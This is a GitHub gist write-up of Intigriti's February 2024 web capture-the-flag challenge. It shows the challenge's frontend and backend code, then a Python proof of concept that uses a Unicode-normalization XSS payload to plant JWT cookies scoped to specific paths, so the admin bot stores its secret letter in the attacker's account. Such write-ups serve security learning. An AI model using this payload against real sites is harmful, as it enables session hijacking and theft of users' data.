Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Created February 20, 2024 01:13
Show Gist options
  • Save Siss3l/763682bd6f04ca4390e43233cdb9496a to your computer and use it in GitHub Desktop.
Save Siss3l/763682bd6f04ca4390e43233cdb9496a to your computer and use it in GitHub Desktop.
Intigriti's February 2024 Web Challenge thanks to @BillyNoGoat

Intigriti February Challenge

  • Category: Web
  • Impact: Medium
  • Solves: 20

Challenge

Description

Read the admin's love letter!

The solution:

  • Should retrieve the love letter written by the admin.
  • Should not use another challenge on the intigriti.io domain.

Overview

We have a web challenge allowing us to create notes and send link to a Puppeteer bot:

<!doctype html>
<html lang="en" data-n-head='{"lang":{"1":"en"}}'>
  <head>
    <meta data-n-head="1" charset="utf-8">
    <meta data-n-head="1" name="viewport" content="width=device-width, initial-scale=1">
    <meta data-n-head="1" data-hid="description" name="description" content="">
    <meta data-n-head="1" name="format-detection" content="telephone=no">
    <title>Valentines Challenge</title>
    <link data-n-head="1" rel="icon" type="image/x-icon" href="/favicon.ico">
    <link rel="preload" href="/_nuxt/5877a40.js" as="script">
    <link rel="preload" href="/_nuxt/c0cec39.js" as="script">
    <link rel="preload" href="/_nuxt/343c830.js" as="script">
    <link rel="preload" href="/_nuxt/be7cbd3.js" as="script">
  </head>
  <body>
    <div id="__nuxt">
      <style>
        #nuxt-loading {
          background: white;
          visibility: hidden;
          opacity: 0;
          position: absolute;
          left: 0;
          right: 0;
          top: 0;
          bottom: 0;
          display: flex;
          justify-content: center;
          align-items: center;
          flex-direction: column;
          animation: nuxtLoadingIn 10s ease;
          -webkit-animation: nuxtLoadingIn 10s ease;
          animation-fill-mode: forwards;
          overflow: hidden;
        }
        @keyframes nuxtLoadingIn {
          0% {
            visibility: hidden;
            opacity: 0;
          }
          20% {
            visibility: visible;
            opacity: 0;
          }
          100% {
            visibility: visible;
            opacity: 1;
          }
        }
        @-webkit-keyframes nuxtLoadingIn {
          0% {
            visibility: hidden;
            opacity: 0;
          }
          20% {
            visibility: visible;
            opacity: 0;
          }
          100% {
            visibility: visible;
            opacity: 1;
          }
        }
        #nuxt-loading>div,
        #nuxt-loading>div:after {
          border-radius: 50%;
          width: 5rem;
          height: 5rem;
        }
        #nuxt-loading>div {
          font-size: 10px;
          position: relative;
          text-indent: -9999em;
          border: .5rem solid #F5F5F5;
          border-left: .5rem solid black;
          -webkit-transform: translateZ(0);
          -ms-transform: translateZ(0);
          transform: translateZ(0);
          -webkit-animation: nuxtLoading 1.1s infinite linear;
          animation: nuxtLoading 1.1s infinite linear;
        }
        #nuxt-loading.error>div {
          border-left: .5rem solid #ff4500;
          animation-duration: 5s;
        }
        @-webkit-keyframes nuxtLoading {
          0% {
            -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
          }
          100% {
            -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
          }
        }
        @keyframes nuxtLoading {
          0% {
            -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
          }
          100% {
            -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
          }
        }
      </style>
      <script>window.addEventListener('error', function() { var e = document.getElementById('nuxt-loading'); if (e) { e.className += ' error'; } });</script>
      <div id="nuxt-loading" aria-live="polite" role="status"><div>Loading...</div></div>
    </div>
    <script>window.__NUXT__ = {config:{_app:{ basePath: "\u002F", assetsPath: "\u002F_nuxt\u002F", cdnURL: null}}}</script>
    <script src="/_nuxt/5877a40.js"></script><script src="/_nuxt/c0cec39.js"></script>
    <script src="/_nuxt/343c830.js"></script><script src="/_nuxt/be7cbd3.js"></script>
  </body>
</html>
const { URL } = require('url'); // Howdy, challenger! This is the backend of the challenge. We think it's nice to give the code out when possible for server sided challenges so there's no "magic". We've also made the challenge black-box friendly, so this code is helpful but not necessary to solve the challenge. So don't get caught up in the details, just hack away and have fun!
const express = require('express'); // [This part is condensed]
const cors = require('cors'); // 503 Service Temporarily Unavailable
const cookieParser = require('cookie-parser');
const jwt = require("jsonwebtoken");
const passport = require('passport');
const bcrypt = require("bcrypt");
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
require('dotenv').config();
require('./auth/passport'); // Assuming passport.js is in the same directory as app.js
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window); // Challenge internals
app.get('/user', passport.authenticate('jwt', { session: false }), async (req, res) => { // [We could also connect to other basic challengers credentials]
    try {
        const user = await Users.findOne({
            where: {id: req.user.id},
            exclude: ['letters'],
            attributes: ['id', 'username']
        });
        if (!user) {
            return res.status(500).send("Error finding user");
        } else {
            return res.status(200).send({'user': user});
        }
    } catch (err) {
        console.error(err);
        return res.status(500).send("An error occurred");
    }
});
// Everything ABOVE this line until the next challenge are just challenge internals, not part of the challenge.
// Feel free to hack but be aware if there's any silly mistakes, we might just patch it out and continue the challenge.
app.post("/storeLetter", passport.authenticate("jwt", { session: false }), async function (req, res) {
    try {
        const { letterId, letterValue } = req.body;
        if (letterId == undefined || !letterValue) {
            return res.status(400).send("Missing parameters");
        }
        const letter = await Letters.findOne({
            where: {
                userId: req.user.id,
                letterId: letterId
            }
        });
        if (!letter) {
            return res.status(500).send("Error finding letter");
        }
        if (letter.isSet === true) {
            return res.status(500).send("Letter already set");
        }
        letter.letterValue = letterValue;
        letter.isSet = true;
        await letter.save();
        return res.status(200).send("Letter stored");
    } catch (err) {
        console.error(err);
        return res.status(500).send("An error occurred");
    }
});
app.get("/getLetterData", passport.authenticate("jwt", { session: false }), async function (req, res) {
    try { // Returns all the letter data stored on the user account
        const userLetters = await Letters.findAll({
            where: { userId: req.user.id },
            attributes: { exclude: ['letterValue'] }
        });
        if (!userLetters) {
            return res.status(500).send("Error finding letters"); // Error: Request failed with status code 500
        }
        return res.status(200).send({userLetters});
    } catch (err) {
        console.error(err);
        return res.status(500).send("An error occurred");
    }
});
app.post("/sendAdminURL", adminLimiter, passport.authenticate("jwt", { session: false }), async function (req, res) {
    const safetySleepMS = 1500; // (ms) Sometimes it can get a bit tangled if it's too fast.
    const thoughts = [];
    let browser;
    try {
        const { adminURL } = req.body;
        const host = new URL(adminURL).host; // Make sure the host is part of the challenge domain
        const hostRegex = new RegExp(`^(?:[a-zA-Z0-9-]+\\.)*${process.env.FRONTEND_URL.replace(/\./g, '\\.')}$`); // frontend = challenge-0224.intigriti.io
        if (!adminURL) {
            return res.status(400).send("Empty URL");
        } else if (!hostRegex.test(host)) {
            thoughts.push("Not too sure what this host is, I'd best be safe and not click it.");
            return res.status(400).json(thoughts);
        }
        console.log("Launching puppeteer");
        browser = await puppeteer.launch({
            timeout: 0, executablePath: "/usr/bin/chromium-browser",
            headless: "new", // [Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/119.0.0.0 Safari/537.36]
            defaultViewport: null,
        });
        const linkedUser = await Users.findOne({
            where: { linkedUserID: req.user.id },
            include: [{
                model: Letters,
                as: 'letters',
                attributes: {
                    exclude: ['letterValue'],
                },
            }],
        });
        if (!linkedUser) { return res.status(500).send("Error finding user"); };
        let page = await browser.newPage();
        await page.setDefaultTimeout(3000); // The challenge simulates a user who is logged in already, so we'll do that first otherwise it's no fun!
        await page.goto(`https://${process.env.SELF_HOST}/login`);
        await page.waitForSelector("#username");
        await sleep(safetySleepMS);
        await page.type("#username", linkedUser.username);
        await page.type("#password", process.env.ADMIN_PASSWORD);
        await page.click("#login");
        await page.waitForSelector("#letter_bank"); // Logged in and ready to go!
        thoughts.push(`${host}! I recognize that domain! I'll just click this link and see what it is.`); // lol
        await page.goto(adminURL, { waitUntil: 'networkidle0' });
        thoughts.push("I shouldn't have clicked that link. I'll open the site directly to check things are safe.");
        await page.close();
        page = await browser.newPage();
        await page.goto(`https://${process.env.FRONTEND_URL}/letters`, { waitUntil: 'networkidle0' }); // Simulate the admin checking the name in the top right to ensure they're on the right account
        const user = await page.evaluate((url) => {
            return fetch(`https://${url}/user`, {
                method: 'GET', credentials: 'include'
            }).then(response => response.json()).catch(error => console.error('Error:', error));
        }, process.env.SELF_URL); // Make sure the admin is logged into their own account
        if (!user || user.user.username !== linkedUser.username) {
            thoughts.push("Whose account is this? Something's not right. I'll close the browser and go about my day.");
            await browser.close();
            return res.status(200).json({ thoughts });
        }
        const letterData = await page.evaluate((url) => {
            return fetch(`https://${url}/getLetterData`, { method: 'GET', credentials: 'include'}).then(response => response.json()).catch(error => console.error('Error:', error));
        }, process.env.SELF_URL);
        const letterIsSet = letterData.userLetters[3].isSet;
        if (letterIsSet) {
            thoughts.push("I can see that the Intigriti letter is safely set! My secret is safe! I'll go about my day now.");
            await browser.close();
            return res.status(200).json({ thoughts });
        }
        thoughts.push("I can see I'm missing a letter? Did I forget? Weird. I'll just set it now...");
        const adminLetterText = Buffer.from(process.env.ADMIN_LETTER, 'base64').toString('ascii');
        await page.evaluate((url, letter) => { // Existing fetch request
            fetch(`https://${url}/storeLetter`, {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({ letterId: 3, letterValue: letter }),
                credentials: 'include'
            });
        }, process.env.SELF_URL, adminLetterText);
        thoughts.push("Letter submitted! I'll close the browser now and go about my day.");
        await browser.close();
    } catch (e) {
        console.log("Caught an error: ", e);
        try {
            await browser.close();
        } catch (err) {
            console.error(err);
        }
        return res.status(500).json({ thoughts });
    }
    console.log("Exiting /sendAdminURL endpoint");
    return res.status(200).json({ thoughts });
});

Solution

Launching a polyvalent automation fuzzing on the various endpoints of the challenge, we quickly come across an unicode normalization cross-site scripting vulnerability.

This is a classic case where we can then try to perform a self cookie path redirection (with /getLetterData, /storeLetter and /letters ways) on the API that will cause the bot to write their own admin note to our account.
Here a short proof-of-concept to get the admin note:

def flag() -> str:
    """Getting the content of the admin note.
    :command: python poc.py
    :type target: str
    :rtype: str
    """
    s = __import__("requests").Session()
    _ = s.post("https://api.challenge-0224.intigriti.io/login", json={"username": "admin", "password": "admin"})
    c = s.cookies.get_dict()["jwt"]; print(c)
    if c:
        poc = f'https://api.challenge-0224.intigriti.io/setTestLetter?msg=%e1%b4%bcscript>document.cookie="jwt={c};path=/getLetterData";document.cookie="jwt={c};path=/storeLetter";//%e1%b4%bc/script>'
        url = s.get(poc).url
        print(url)
        q = s.post("https://api.challenge-0224.intigriti.io/sendAdminURL",   json={"adminURL": url})
        print(q.text)
        r = s.post("https://api.challenge-0224.intigriti.io/readLetterData", json={"letterId": "3", "password": "admin"})
        print(r.text)
flag()

We do not really need to dwell a lot on the rest of the challenge.

Asciinema

Defense

Applying strict Content-Security-Policy and normalization checks.

Meme

Appendix

A nice challenge where we can quickly get lost, for no particular reason.

Bye

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment